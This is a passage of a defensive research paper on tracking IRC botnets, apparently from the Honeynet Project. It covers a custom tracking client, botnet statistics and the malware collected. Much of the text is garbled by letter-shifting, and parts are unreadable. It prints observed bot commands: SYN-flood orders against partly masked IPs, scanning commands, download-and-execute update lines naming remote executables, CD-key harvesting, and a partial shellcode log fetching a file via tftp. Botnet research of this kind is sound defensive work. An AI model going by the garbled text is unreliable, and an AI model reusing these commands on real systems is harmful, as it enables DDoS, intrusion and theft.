DQG/RU DDRS WKH VXVSLFLRXV FOLHQW.

TR DYRLG GHWHFWLRQ, \RX FDQ WU\ WR KLGH \RXUVHOI. DLVDEOLQJ DOO DXWR UHVSRQVH WULJJHULQJ FRPPDQGV LQ \RXU FOLHQW KHOSV D
ELW: II \RXU FOLHQW UHSOLHV WR D

"CTCP VERSION" PHVVDJH ZLWK "LUVVL 0.89 UXQQLQJ RQ RSHQEVG L368" WKHQ WKH DWWDFNHU ZKR UHTXHVWHG WKH COLHQW-
TR-COLHQW PURWRFRO (CTCP) FRPPDQG ZLOO JHW VXVSLFLRXV. II \RX DUH QRW QRWLFHG E\ WKH RSHUDWRUV RI WKH ERWQHWV, \RX



can enable logging of all commandV and WhXV obVeUYe ZhaW iV happening.

BXW WheUe aUe man\ pUoblemV if \oX VWaUW ZiWh WhiV appUoach: Some boWneWV XVe YeU\ haUd VWUipped doZn IRCdV Zhich
aUe noW RFC complianW Vo WhaW a noUmal IRC clienW can noW connecW Wo WhiV neWZoUk. A poVVible Za\ Wo ciUcXmYenW WhiV

ViWXaWion iV Wo find oXW ZhaW Whe opeUaWoU haV VWUipped oXW, and modif\ Whe VoXUce code of \oXU faYoUiWe clienW Wo
oYeUUide iW. AlmoVW all cXUUenW IRC clienWV lack Zell ZUiWWen code oU haYe Vome oWheU diVadYanWageV. So pUobabl\ \oX

end Xp ZUiWing \oXU oZn IRC clienW Wo WUack boWneWV. Welcome Wo Whe clXb - oXUV iV called dUone. TheUe aUe Vome
piWfallV WhaW \oX VhoXld conVideU Zhen \oX ZUiWe \oXU oZn IRC clienW. HeUe aUe Vome feaWXUeV WhaW Ze foXnd XVefXl in

oXU dedicaWed boWneW WUacking IRC clienW:

SOCKS Y4 SXppoUW
MXlWi-VeUYeU SXppoUW:

If \oX don'W ZanW Wo VWaUW an inVWance of \oXU VofWZaUe foU each boWneW \oX
foXnd, WhiV iV a YeU\ XVefXl feaWXUe.

No ThUeading: ThUeaded VofWZaUe defineV haUd Wo debXgging SofWZaUe.
Non-blocking connecWing and DNS UeVolYe

poll(): WaiW foU Vome eYenW on a file deVcUipWoU XVing non blocking I/O Ze needed an mXlWiple[eU, VelecW() coXld
haYe done Whe job, Woo

libadnV: ThiV iV a aV\nchUonoXV DNS UeVolYing libUaU\. Looking Xp hoVWnameV doeV noW block \oXU code eYen if
Whe lookXp WakeV Vome Wime. NeceVVaU\ if one decideV noW Wo XVe WhUeadV.

WUiWWen in C++ Vince OOP offeUV man\ adYanWageV ZUiWing a MXlWi-VeUYeU clienW
ModXlaU inWeUface Vo \oX can Xn/load (C++) modXleV aW UXnWime

libcXUl: ThiV iV a command line Wool foU WUanVfeUUing fileV ZiWh URL V\nWa[, VXppoUWing man\ diffeUenW pUoWocolV.
libcXUl iV a libUaU\ offeUing Whe Vame feaWXUeV aV Whe command line Wool.

PeUl CompaWible RegXlaU E[pUeVVionV (PCRE): The PCRE libUaU\ iV a VeW of fXncWionV WhaW implemenW UegXlaU
e[pUeVVion paWWeUn maWching XVing Whe Vame V\nWa[ and VemanWicV aV PeUl 5. PCRE enable oXU clienW Wo gXeVV Whe

meaning of command and inWeUacW in Vome caVeV in a "naWiYe" Za\.

E[ceVViYe debXg-logging inWeUface Vo WhaW iW iV poVVible Wo geW infoUmaWion aboXW RFC non-compliance iVVXeV

YeU\ faVW and fi[ Whem in Whe clienW (Vide noWe: One da\ logging 50 boWneWV can giYe moUe Whan 500 MB of debXg
infoUmaWion).

DUone iV capable of XVing SOCKS Y4 pUo[ieV Vo Ze do noW UXn inWo pUoblemV if iW'V pUeVence iV noWiced b\ an aWWackeU

in a boWneW. The SOCKS Y4 pUo[ieV aUe on dial-in accoXnWV in diffeUenW neWZoUkV Vo WhaW Ze can eaVil\ change Whe IP

addUeVVeV. DUone iWVelf UXnV on a independenW machine Ze mainWain oXUVelYeV. We ZanW Wo Whank all Whe people

conWUibXWing Wo oXU pUojecW b\ donaWing VhellV and/oU pUo[ieV.
Some AnWi-YiUXV YendoUV pXbliVh daWa aboXW boWneWV. While XVefXl, WhiV infoUmaWion ma\ aW WimeV noW be enoXgh Wo Wo

effecWiYel\ WUack boWneWV, aV Ze

demonVWUaWe in BoWneW VendoUV.

SomeWimeV Whe oZneUV of Whe boWneW Zill iVVXe Vome commandV Wo inVWUXcW hiV boWV. We pUeVenW Whe moUe commonl\

XVed commandV in Whe laVW VecWion. UVing oXU appUoach, Ze aUe able Wo moniWoU Whe iVVXed commandV and leaUn moUe
aboXW Whe moWiYeV of Whe aWWackeUV. To fXUWheU enhance oXU meWhodolog\, Ze WUied Wo ZUiWe a PCRE-baVed emXlaWion of

a boW Vo WhaW oXU dXmm\ clienW coXld eYen coUUecWl\ Uepl\ Wo a giYen command. BXW Ze Voon minimi]ed oXU deVign

goalV heUe becaXVe WheUe iV no VWandaUdi]aWion of boWneW commandV and Whe aWWackeUV Wend Wo change WheiU commandV

YeU\ ofWen. In man\ caVeV, command-UeplieV aUe eYen WUanVlaWed Wo WheiU moWheU langXage.

When \oX moniWoU moUe Whan a coXple of neWZoUkV, begin Wo check if Vome of Whem aUe linked, and gUoXp Whem if
poVVible. Link-checking iV eaV\, jXVW join a Vpecific channel on all neWZoUkV and Vee if \oX geW moUe Whan one clienW

WheUe. IW iV VXUpUiVing hoZ man\ neWZoUkV aUe linked. People Wend Wo VeW Xp a DNS-name and channel foU eYeU\ boW

YeUVion Whe\ check oXW. To leaUn moUe aboXW Whe aWWackeU, WU\ pXWWing Whe aWWackeU'V nickname inWo a Google VeaUch and

ofWen \oX Zill be VXUpUiVed hoZ mXch infoUmaWion \oX can find. Finall\, check Whe VeUYeU'V Regional InWeUneW RegiVWUieV
(RIR) enWU\ (RIPE NCC, ARIN, APNIC, and LACNIC) Wo eYen leaUn moUe aboXW Whe aWWackeU.

LeVVonV LeaUned



IQ WKLV VHFWLRQ ZH SUHVHQW VRPH RI WKH ILQGLQJV ZH REWDLQHG WKURXJK RXU REVHUYDWLRQ RI ERWQHWV. DDWD LV VDQLWL]HG VR

WKDW LW GRHV QRW DOORZ RQH WR GUDZ DQ\ FRQFOXVLRQV DERXW VSHFLILF DWWDFNV DJDLQVW D SDUWLFXODU V\VWHP, DQG SURWHFWV WKH

LGHQWLW\ DQG SULYDF\ RI WKRVH LQYROYHG. AOVR, DV WKH GDWD IRU WKLV SDSHU ZDV FROOHFWHG LQ GHUPDQ\ E\ WKH GHUPDQ
HRQH\QHW PURMHFW, LQIRUPDWLRQ DERXW VSHFLILF DWWDFNV DQG FRPSURPLVHG V\VWHPV ZDV IRUZDUGHG WR DFN-CERT

(CRPSXWHU EPHUJHQF\ RHVSRQVH THDP) EDVHG LQ HDPEXUJ, GHUPDQ\. WH ZRXOG OLNH WR VWDUW ZLWK VRPH VWDWLVWLFV

DERXW WKH ERWQHWV ZH KDYH REVHUYHG LQ WKH ODVW IHZ PRQWKV:

Number of botnets

WH ZHUH DEOH WR WUDFN OLWWOH PRUH WKDQ 100 botnets GXULQJ WKH ODVW IRXU PRQWKV. SRPH RI WKHP "GLHG" (H.J. PDLQ
IRC VHUYHU GRZQ RU LQH[SHULHQFHG DWWDFNHU) DQG DW WKH PRPHQW ZH DUH WUDFNLQJ DERXW 35 DFWLYH ERWQHWV.

Number of hosts

DXULQJ WKHVH IHZ PRQWKV, ZH VDZ 226,585 XQLTXH IP DGGUHVVHV MRLQLQJ DW OHDVW RQH RI WKH FKDQQHOV ZH

PRQLWRUHG. SHHLQJ DQ IP PHDQV KHUH WKDW WKH IRCG ZDV QRW PRGLILHG WR QRW VHQG XV DQ JOIN PHVVDJH IRU HDFK
MRLQLQJ FOLHQW. II DQ IRCG LV PRGLILHG QRW WR VKRZ MRLQLQJ FOLHQWV LQ D FKDQQHO, ZH GRQ'W VHH IPV KHUH. FXUWKHUPRUH

VRPH IRCGV REIXVFDWH WKH MRLQLQJ FOLHQWV IP DGGUHVV DQG REIXVFDWHG IP DGGUHVVHV GR QRW FRXQW DV VHHQ, WRR.

TKLV VKRZV WKDW WKH WKUHDW SRVHG E\ ERWQHWV LV SUREDEO\ ZRUVH WKDQ RULJLQDOO\ EHOLHYHG. EYHQ LI ZH DUH YHU\

RSWLPLVWLF DQG HVWLPDWH WKDW ZH WUDFN D VLJQLILFDQW SHUFHQWDJH RI DOO ERWQHWV DQG DOO RI RXU WUDFNHG ERWQHW IRC
VHUYHUV DUH QRW PRGLILHG WR KLGH JOINV RU REIXVFDWH WKH MRLQLQJ FOLHQWV IPV, WKLV ZRXOG PHDQ WKDW PRUH WKHQ RQH

PLOOLRQ KRVWV DUH FRPSURPLVHG DQG FDQ EH FRQWUROOHG E\ PDOLFLRXV DWWDFNHUV. WH NQRZ WKHUH DUH PRUH ERWQHW

FOLHQWV VLQFH WKH DWWDFNHUV VRPHWLPHV XVH PRGLILHG IRC VHUYHUV WKDW GR QRW JLYH XV DQ\ LQIRUPDWLRQ DERXW MRLQLQJ

XVHUV.
T\pical si]e of Botnets

SRPH ERWQHWV FRQVLVW RI RQO\ D IHZ KXQGUHG ERWV. IQ FRQWUDVW WR WKLV, ZH KDYH DOVR PRQLWRUHG VHYHUDO ODUJH

ERWQHWV ZLWK up to 50.000 hosts. TKH DFWXDO VL]H RI VXFK D ODUJH ERWQHW LV KDUG WR HVWLPDWH. OIWHQ WKH DWWDFNHUV

XVH KHDYLO\ PRGLILHG IRC VHUYHUV DQG WKH ERWV DUH VSUHDG DFURVV VHYHUDO IRC VHUYHUV. WH XVH OLQN-FKHFNLQJ

EHWZHHQ IRCGV WR GHWHFW FRQQHFWLRQV EHWZHHQ GLIIHUHQW ERWQHWV WKDW IRUP RQH ODUJH ERWQHW. TKXV ZH DUH DEOH WR
DSSUR[LPDWH WKH DFWXDO VL]H. KHHS LQ PLQG, ERWQHWV ZLWK RYHU VHYHUDO KXQGUHG WKRXVDQGV KRVWV KDYH EHHQ

UHSRUWHG LQ WKH SDVW. II D ERWQHW FRQVLVWV RI PRUH WKDQ 5 OLQNHG IRC VHUYHUV, ZH VLPSO\ VD\ LW LV ODUJH HYHQ LI ZH

DUH QRW DEOH WR GHWHUPLQH D QXPHULFDO QXPEHU DV WKH IRCG VRIWZDUH LV VWULSSHG GRZQ. AV D VLGH QRWH: WH NQRZ

DERXW D KRPH FRPSXWHU ZKLFK JRW LQIHFWHG E\ 16 (VLF!) GLIIHUHQW ERWV, VR LWV KDUG WR PDNH DQ HVWLPDWLRQ DERXW
ZRUOG ERW SRSXODWLRQ KHUH.

Dimension of DDoS-attacks

WH DUH DEOH WR PDNH DQ HGXFDWHG JXHVV DERXW WKH FXUUHQW GLPHQVLRQ RI DDRS-DWWDFNV FDXVHG E\ ERWQHWV. WH

FDQ REVHUYH WKH FRPPDQGV LVVXHG E\ WKH FRQWUROOHUV DQG WKXV VHH ZKHQHYHU WKH ERWQHW LV XVHG IRU VXFK DWWDFNV.
FURP WKH EHJLQQLQJ RI NRYHPEHU 2004 XQWLO WKH HQG RI JDQXDU\ 2005, ZH ZHUH DEOH WR REVHUYH 226 DDoS-

attacks DJDLQVW 99 XQLTXH WDUJHWV. OIWHQ WKHVH DWWDFNV WDUJHWHG GLDO-XS OLQHV, EXW WKHUH DUH DOVR DWWDFNV DJDLQVW

ELJJHU ZHEVLWHV. IQ RUGHU WR SRLQW RXW WKH WKUHDW SRVHG E\ VXFK DWWDFNV, ZH SUHVHQW WKH FROOHFWHG GDWD DERXW

DDRS-DWWDFNV RQ D VHSDUDWH SDJH. "OSHUDWLRQ C\EHUVODP" GRFXPHQWV RQH FRPPHUFLDO DDRS UXQ DJDLQVW
FRPSHWLWRUV LQ RQOLQH VHOOLQJ.

A W\SLFDO DDRS-DWWDFNV ORRNV OLNH WKH IROORZLQJ H[DPSOHV: TKH FRQWUROOHU HQWHUV WKH FKDQQHO DQG LVVXHV WKH

FRPPDQG (VRPHWLPHV HYHQ VWRSSLQJ IXUWKHU VSUHDGLQJ RI WKH ERWV). AIWHU WKH ERWV KDYH GRQH WKHLU MRE, WKH\

UHSRUW WKHLU VWDWXV:

[ # # # F O O # # # ]  < a n i c k n a m e >  . s c a n s t o p
[ # # # F O O # # # ]  < a n i c k n a m e >  . d d o s . s y n  1 5 1 . 4 9 . 8 . X X X  2 1  2 0 0
[ # # # F O O # # # ]  < - [ X P ] - 1 8 3 3 0 >  [ D D o S ] :  F l o o d i n g :  ( 1 5 1 . 4 9 . 8 . X X X : 2 1 )  f o r  2 0 0  s e c o n d s
[ . . . ]
[ # # # F O O # # # ]  < - [ 2 K ] - 3 3 8 2 0 >  [ D D o S ] :  D o n e  w i t h  f l o o d  ( 2 5 7 3 K B / s e c ) .
[ # # # F O O # # # ]  < - [ X P ] - 8 6 8 4 0 >  [ D D o S ] :  D o n e  w i t h  f l o o d  ( 3 5 1 K B / s e c ) .
[ # # # F O O # # # ]  < - [ X P ] - 6 2 4 4 4 >  [ D D o S ] :  D o n e  w i t h  f l o o d  ( 1 3 2 7 K B / s e c ) .
[ # # # F O O # # # ]  < - [ 2 K ] - 3 8 2 9 1 >  [ D D o S ] :  D o n e  w i t h  f l o o d  ( 7 1 4 K B / s e c ) .
[ . . . ]
[ # # # F O O # # # ]  < a n i c k n a m e >  . l o g i n  1 2 3 4 5
[ # # # F O O # # # ]  < a n i c k n a m e >  . d d o s . s y n  2 1 3 . 2 0 2 . 2 1 7 . X X X  6 6 6 7  2 0 0
[ # # # F O O # # # ]  < - [ X P ] - 1 8 2 3 0 >  [ D D o S ] :  F l o o d i n g :  ( 2 1 3 . 2 0 2 . 2 1 7 . X X X : 6 6 6 7 )  f o r  2 0 0  s e c o n d s .
[ . . . ]



[ # # # F O O # # # ]  < - [ X P ] - 1 8 3 2 0 >  [ D D o S ] :  D o n e  w i t h  f l o o d  ( 0 K B / s e c ) .
[ # # # F O O # # # ]  < - [ 2 K ] - 3 3 8 3 0 >  [ D D o S ] :  D o n e  w i t h  f l o o d  ( 2 2 8 8 K B / s e c ) .
[ # # # F O O # # # ]  < - [ X P ] - 8 6 8 7 0 >  [ D D o S ] :  D o n e  w i t h  f l o o d  ( 3 5 1 K B / s e c ) .
[ # # # F O O # # # ]  < - [ X P ] - 6 2 6 4 4 >  [ D D o S ] :  D o n e  w i t h  f l o o d  ( 1 3 4 1 K B / s e c ) .
[ # # # F O O # # # ]  < - [ 2 K ] - 3 4 8 9 1 >  [ D D o S ] :  D o n e  w i t h  f l o o d  ( 7 0 9 K B / s e c ) .
[ . . . ]

BRWh aWWacNV VhRZ W\SicaO WaUgeWV Rf DDRS-aWWacNV: FTP VeUYeU RQ SRUW 21/TCP RU IRC VeUYeU RQ SRUW

6667/TCP.

Spreading of botnets

".adYVcaQ OVaVV 150 5 0 -U -V" aQd RWheU cRPPaQdV aUe Whe PRVW fUeTXeQW RbVeUYed PeVVageV. ThURXgh WhiV aQd
ViPiOaU cRPPaQdV, bRWV VSUead aQd VeaUch fRU YXOQeUabOe V\VWePV. CRPPRQO\, WiQdRZV V\VWePV aUe e[SORiWed

aQd WhXV Ze Vee PRVW WUaffic RQ W\SicaO WiQdRZV SRUWV (e.g. fRU CIFS baVed fiOe VhaUiQg). We haYe aQaO\]ed WhiV

iQ PRUe deWaiO aQd SUeVeQW WheVe UeVXOWV RQ a Sage dedicaWed WR VSUeadiQg Rf bRWV.

HarYesting of information

SRPeWiPeV Ze caQ aOVR RbVeUYe Whe haUYeVWiQg Rf iQfRUPaWiRQ fURP aOO cRPSURPiVed PachiQeV. WiWh Whe heOS Rf
a cRPPaQd OiNe ".geWcdNe\V" Whe RSeUaWRU Rf Whe bRWQeW iV abOe WR UeTXeVW a OiVW Rf CD-Ne\V (e.g. fRU WiQdRZV

RU gaPeV) fURP aOO bRWV. ThiV CD-Ne\V caQ be VROd WR cUacNeUV RU Whe aWWacNeU caQ XVe WheP fRU VeYeUaO RWheU

SXUSRVeV ViQce Whe\ aUe cRQVideUed YaOXabOe iQfRUPaWiRQ. TheVe RSeUaWiRQV aUe VeOdRP, WhRXgh.

"Updates" Zithin botnets
We aOVR RbVeUYed XSdaWeV Rf bRWQeWV TXiWe fUeTXeQWO\. USdaWiQg iQ WhiV cRQWe[W PeaQV WhaW Whe bRWV aUe

iQVWUXcWed WR dRZQORad a Siece Rf VRfWZaUe fURP Whe IQWeUQeW aQd WheQ e[ecXWe iW. E[aPSOeV Rf iVVXed cRPPaQdV

iQcOXde:

. d o w n l o a d  h t t p : / / s p a m a t e u r . f r e e w e b / s p a c e . c o m / l e e t a g e / g a m m a . e x e
c : \ w i n d o w s \ c o n f i g \ g a m m a . e x e  1
. d o w n l o a d  h t t p : / / w w w . s p a z t e n b o x . n e t / c a s h . e x e  c : \ a r s e t u p . e x e  1  - s
! d o w n  h t t p : / / w w w . a n g e l f i r e . c o m / l i n u k s / k u t e l e s s / a n t 1 . x
C : \ W I N D O W S \ s y s t e m 3 2 \ d r i v e r s \ d i s d n \ a n t i . e x e  1
!  d l o a d  h t t p : / / w w w . a n g e l f i r e . c o m / l i n u k s / k u t e l e s s / a n t 1 . x  C : \ f i r e w a l l x . e x e  1
. h t t p . u p d a t e  h t t p : / / 5 9 . 5 6 . 1 7 8 . 2 0 / a m u g e n x u r / r B o t . e x e  c : \ m s y 3 2 a w d s . e x e  1
. h t t p . u p d a t e  h t t p : / / m 1 c r 0 s 0 f t w 0 r d g u y . f r e e s u p e r h o s t . c o m / j i m b o . j p g  % t e m p % \ v h u r d x . e x e  -
s

(Note:We VaQiWi]ed Whe OiQNV VR Whe cRde iV QRW accideQWO\ dRZQORaded/e[ecXWed)

AV \RX caQ Vee, Whe aWWacNeUV XVe diYeUVe ZebVSace SURYideUV aQd RfWeQ RbfXVcaWe Whe dRZQORaded biQaU\. The

SaUaPeWeU "1" iQ Whe cRPPaQd WeOOV Whe bRWV WR e[ecXWe Whe biQaU\ RQce Whe\ haYe dRZQORaded iW. ThiV Za\, Whe
bRWV caQ be d\QaPicaOO\ XSdaWed aQd be fXUWheU eQhaQced. We aOVR cROOecW Whe PaOZaUe WhaW Whe bRWV dRZQORad

aQd fXUWheU aQaO\]e iW if SRVVibOe. IQ WRWaO, Ze haYe cROOecWed 329 biQaUieV. 201 Rf WheVe fiOeV aUe PaOZaUe aV aQ

aQaO\ViV ZiWh "KaVSeUVN\ AQWi-ViUXV OQ-DePaQd ScaQQeU fRU LiQX[" VhRZV:

     2 8  B a c k d o o r . W i n 3 2 . R b o t . g e n
     2 7  B a c k d o o r . W i n 3 2 . S d B o t . g e n
     2 2  T r o j a n - D r o p p e r . W i n 3 2 . S m a l l . n m
     1 5  B a c k d o o r . W i n 3 2 . B r a b o t . d
     1 0  B a c k d o o r . W i n 3 2 . V B . u c
      8  T r o j a n . W i n R E G . L o w Z o n e s . a
      6  B a c k d o o r . W i n 3 2 . I r o f f e r . b
      5  T r o j a n . W i n 3 2 . L o w Z o n e s . q
      5  T r o j a n - D o w n l o a d e r . W i n 3 2 . S m a l l . q d
      5  B a c k d o o r . W i n 3 2 . A g o b o t . g e n
      4  V i r u s . W i n 3 2 . P a r i t e . b
      4  T r o j a n . W i n 3 2 . L o w Z o n e s . p
      4  T r o j a n . B A T . Z a p c h a s t
      4  B a c k d o o r . W i n 3 2 . W o o t b o t . g e n
      4  B a c k d o o r . W i n 3 2 . S e r v U - b a s e d
      4  B a c k d o o r . W i n 3 2 . S d B o t . l t
      3  T r o j a n . W i n 3 2 . L o w Z o n e s . d
      3  T r o j a n - D o w n l o a d e r . W i n 3 2 . A g e n t . g d
      2  V i r u s . B A T . B o h o . a



      2  V i U T o o l . W i n 3 2 . D e l f . d
      2  T U o j a n - D o Z n l o a d e U . W i n 3 2 . S m a l l . a d V
      2  H a c k T o o l . W i n 3 2 . C l e a U l o g
      2  B a c k d o o U . W i n 3 2 . W o o W b o W . X
      2  B a c k d o o U . W i n 3 2 . R b o W . a f
      2  B a c k d o o U . W i n 3 2 . I U o f f e U . 1 3 0 7
      2  B a c k d o o U . W i n 3 2 . I U o f f e U . 1 2 2 1
      2  B a c k d o o U . W i n 3 2 . H a c D e f . 0 8 4
      1  T U o j a n . W i n 3 2 . R e b o o W e U . n
      1  T U o j a n . W i n 3 2 . L o Z Z o n e V . a b
      1  T U o j a n . W i n 3 2 . K i l l F i l e V . h b
      1  T U o j a n - S p \ . W i n 3 2 . Q X a k a U W . U
      1  T U o j a n - P U o [ \ . W i n 3 2 . R a n k \ . a Z
      1  T U o j a n - P U o [ \ . W i n 3 2 . A g e n W . c l
      1  T U o j a n - D o Z n l o a d e U . W i n 3 2 . Z d o Z n . 1 0 1
      1  T U o j a n - D o Z n l o a d e U . W i n 3 2 . I V W B a U . g Y
      1  T U o j a n - D o Z n l o a d e U . W i n 3 2 . I V W B a U . e U
      1  T U o j a n - D o Z n l o a d e U . W i n 3 2 . A g e n W . d n
      1  T U o j a n - C l i c k e U . W i n 3 2 . S m a l l . b Z
      1  T U o j a n - C l i c k e U . W i n 3 2 . A g e n W . b i
      1  N e W - W o U m . W i n 3 2 . D i p N e W . f
      1  H a c k T o o l . W i n 3 2 . X U a \ . a
      1  H a c k T o o l . W i n 3 2 . F [ S c a n n e U
      1  B a c k d o o U . W i n 3 2 . W o o W b o W . a b
      1  B a c k d o o U . W i n 3 2 . W i V d o o U . a W
      1  B a c k d o o U . W i n 3 2 . S p \ b o W e U . g e n
      1  B a c k d o o U . W i n 3 2 . R b o W . i c
      1  B a c k d o o U . W i n 3 2 . R b o W . f o
      1  B a c k d o o U . W i n 3 2 . O p W i [ . b
      1  B a c k d o o U . W i n 3 2 . A g e n W . d V

MRVW RI WKH RWKHU ELQDU\ ILOHV DUH HLWKHU DGZDUH (D SURJUDP WKDW GLVSOD\V EDQQHUV ZKLOH EHLQJ UXQ, RU UHSRUWV

XVHUV KDELWV RU LQIRUPDWLRQ WR WKLUG SDUWLHV), SUR[\ VHUYHUV (D FRPSXWHU SURFHVV WKDW UHOD\V D SURWRFRO EHWZHHQ
FOLHQW DQG VHUYHU FRPSXWHU V\VWHPV) RU BURZVHU HHOSHU OEMHFWV.

AQ HYHQW WKDW LV QRW WKDW XQXVXDO LV WKDW VRPHERG\ VWHDOV D ERWQHW IURP VRPHRQH HOVH. IW FDQ EH VRPHZKDW KXPRURXV WR

REVHUYH VHYHUDO FRPSHWLQJ DWWDFNHUV. AV PHQWLRQHG EHIRUH, ERWV DUH RIWHQ "VHFXUHG" E\ VRPH VHQVLWLYH LQIRUPDWLRQ,

H.J. FKDQQHO QDPH RU VHUYHU SDVVZRUG. II RQH LV DEOH WR REWDLQ DOO WKLV LQIRUPDWLRQ, KH LV DEOH WR XSGDWH WKH ERWV ZLWKLQ

DQRWKHU ERWQHW WR DQRWKHU ERW ELQDU\, WKXV VWHDOLQJ WKH ERWV IURP DQRWKHU ERWQHW. FRU H[DPSOH, VRPH WLPH DJR ZH FRXOG
PRQLWRU ZKHQ WKH FRQWUROOHU RI BRWQHW #12 VWROH ERWV IURP WKH VHHPLQJO\ DEDQGRQHG BRWQHW #25.

WH UHFHQWO\ KDG D YHU\ XQXVXDO XSGDWH UXQ RQ RQH RI RXU PRQLWRUHG ERWQHWV: EYHU\WKLQJ ZHQW ILQH, WKH ERWQHW PDVWHU

DXWKHQWLFDWHG VXFFHVVIXOO\ DQG LVVXHG WKH FRPPDQG WR GRZQORDG DQG H[HFXWH WKH QHZ ILOH. OXU FOLHQW GURQH

GRZQORDGHG WKH ILOH DQG LW JRW DQDO\]HG, ZH VHW XS D FOLHQW ZLWK WKH VSHFLDO FUDIWHG QLFNQDPH, LGHQW, DQG XVHU LQIR. BXW

WKHQ RXU FOLHQW FRXOG QRW FRQQHFW
WR WKH IRC VHUYHU WR MRLQ WKH QHZ FKDQQHO. TKH ILUVW FKDUDFWHU RI WKH QLFNQDPH ZDV LQYDOLG WR XVH RQ WKDW IRCG

VRIWZDUH. TKLV ZD\, WKH (VRPHKRZ GXPE) DWWDFNHU MXVW ORVW DERXW 3,000 ERWV ZKLFK KDPPHU WKHLU VHUYHU ZLWK FRQQHFW

WULHV IRUHYHU.

SRPHWKLQJ ZKLFK LV LQWHUHVWLQJ, EXW UDUHO\ VHHQ, LV ERWQHW RZQHUV GLVFXVVLQJ LVVXHV LQ WKHLU ERW FKDQQHO. WH REVHUYHG

VHYHUDO RI WKRVH WDONV DQG OHDUQHG PRUH DERXW WKHLU VRFLDO OLIH WKLV ZD\. WH RQFH REVHUYHG D VPDOO VKHOO KRVWHU KRVWLQJ D
ERWQHW RQ KLV RZQ VHUYHUV DQG DDRSLQJ FRPSHWLWRUV. TKHVH SHRSOH FKRVH WKH VDPH QLFNQDPHV FRPPDQGLQJ WKH ERWQHW

DV JLYLQJ VXSSRUW IRU WKHLU VKHOO DFFRXQWV LQ DQRWKHU IRC QHWZRUN. FXUWKHUPRUH, VRPH SHRSOH ZKR UXQ ERWQHWV RIIHU DQ

H[FHOOHQW SRRO RI LQIRUPDWLRQ DERXW WKHPVHOYHV DV WKH\ GR QRW XVH IUHH DQG DQRQ\PRXV ZHEKRVWHUV WR UXQ XSGDWHV RQ

WKHLU ERWQHWV. TKHVH LQGLYLGXDOV GHPRQVWUDWH KRZ HYHQ XQVNLOOHG SHRSOH FDQ UXQ DQG OHYHUDJH D ERWQHW.

OXU REVHUYDWLRQV VKRZHG WKDW RIWHQ ERWQHWV DUH UXQ E\ \RXQJ PDOHV ZLWK VXUSULVLQJO\ OLPLWHG SURJUDPPLQJ VNLOOV. TKH
VFHQH IRUXPV DUH FURZGHG RI SRVWV OLNH "HRZ FDQ L FRPSLOH *" DQG VLPLODU TXHVWLRQV. TKHVH SHRSOH RIWHQ DFKLHYH D

JRRG VSUHDG RI WKHLU ERWV, EXW WKHLU DFWLRQV DUH PRUH RU OHVV KDUPOHVV. NHYHUWKHOHVV, ZH DOVR REVHUYHG VRPH PRUH

DGYDQFHG DWWDFNHUV: WKHVH SHUVRQV MRLQ WKH FRQWURO FKDQQHO RQO\ VHOGRP. TKH\ XVH RQO\ 1 FKDUDFWHU QLFNV, LVVXH D

FRPPDQG DQG OHDYH DIWHUZDUGV. TKH XSGDWHV RI WKH ERWV WKH\ UXQ DUH YHU\ SURIHVVLRQDO. PUREDEO\ WKHVH SHRSOH XVH WKH



boWneWV foU commeUcial XVage and "Vell" Whe VeUYiceV. A loZ peUcenWage XVe WheiU boWneWV foU financial gain. FoU

e[ample, b\ inVWalling BUoZVeU HelpeU ObjecWV foU companieV WUacking/fooling ZebVXUfeUV oU clicking pop-XpV. A YeU\

Vmall peUcenWage of boWneW UXnneUV VeemV highl\ Vkilled, Whe\ VWUip doZn WheiU IRCd VofWZaUe Wo a non RFC complianW
daemon, noW eYen alloZing VWandaUd IRC clienWV Wo connecW.

AnoWheU poVVibiliW\ iV Wo inVWall Vpecial VofWZaUe Wo VWeal infoUmaWion. We had one YeU\ inWeUeVWing caVe in Zhich

aWWackeUV VWole Diablo 2 iWemV fUom Whe compUomiVed compXWeUV and Vold Whem on eBa\. Diablo 2 iV a online game in

Zhich \oX can impUoYe \oXU chaUacWeU b\ collecWing poZeUfXl iWemV. The moUe Veldom an iWem iV, Whe higheU iV Whe pUice

on eBa\. A VeaUch on eBa\ foU Diablo 2 VhoZV WhaW Vome of WheVe iWemV alloZ an aWWackeU Wo make a nice pUofiW. Some
boWneWV aUe XVed Wo Vend Vpam: \oX can UenW a boWneW. The opeUaWoUV giYe \oX a SOCKS Y4 VeUYeU liVW ZiWh Whe IP

addUeVVeV of Whe hoVWV and Whe poUWV WheiU pUo[\ UXnV on. TheUe aUe docXmenWed caVeV ZheUe boWneWV ZeUe Vold Wo

VpammeUV aV Vpam Uela\V: "UncoYeUed: TUojanV aV Spam RoboWV ". YoX can Vee an e[ample of an aWWackeU inVWalling

VofWZaUe (in WhiV caVe UooWkiWV) in a capWXUed e[ample.

FXUWheU ReVeaUch

FXUWheU ReVeaUch

An aUea of UeVeaUch Ze aUe leading Wo impUoYe boWneW WUacking iV in malZaUe collecWion. UndeU Whe pUojecW name
mZcollecW2 Whe GeUman Hone\neW PUojecW iV

deYeloping a pUogUam Wo "collecW" malZaUe in an Vimple and aXWomaWed faVhion. The mZcollecW2 daemon conViVWV of

mXlWiple d\namicall\ linked modXleV:

VXlneUabiliW\ modXleV:

The\ open Vome common YXlneUable poUWV (e.g. 135 oU 2745) and VimXlaWe Whe YXlneUabiliWieV accoUding Wo WheVe
poUWV.

Shellcode paUVing modXleV:

TheVe modXleV WXUn Whe VhellcodeV UeceiYed b\ one of Whe YXlneUabiliW\ modXleV in geneUic URLV Wo be feWched

b\ anoWheU kind of modXle.
And finall\, FeWch modXleV Zhich Vimpl\ doZnload Whe fileV Vpecified b\ an URL. TheVe URLV do noW

neceVVaUil\ haYe Wo be HTTP oU FTP URLV, bXW can alVo be TFTP oU oWheU pUoWocolV.

CXUUenWl\ mZcollect2 VXppoUWV Whe VimXlaWion of diffeUenW YXlneUabiliWieV. The folloZing WZo e[ampleV VhoZ Whe

VofWZaUe in acWion. In Whe fiUVW e[ample, mZcollect2 VimXlaWeV a YXlneUabiliW\ on TCP poUW 135 and caWcheV a piece of

malZaUe in an aXWomaWed faVhion:

P Z c - W U i W i X P :      D C O M  S h e O O c R d e  V W a U W V  a W  b \ W e  0 [ 0 3 7 0  a Q d  i V  0 [ 0 1 D C  b \ W e V  O R Q g .
P Z c - W U i W i X P :      D e W e c W e d  g e Q e U i c  X O R  D e c R d e U ,  N e \  i V  1 2 h ,  c R d e  i V  e 8 h  ( e 8 h )  b \ W e V  O R Q g .
P Z c - W U i W i X P :      D e W e c W e d  g e Q e U i c  C U e a W e P U R c e V V  S h e O O c R d e :  " W f W S . e [ e  - i  X X X . X X X . X X X . X X X
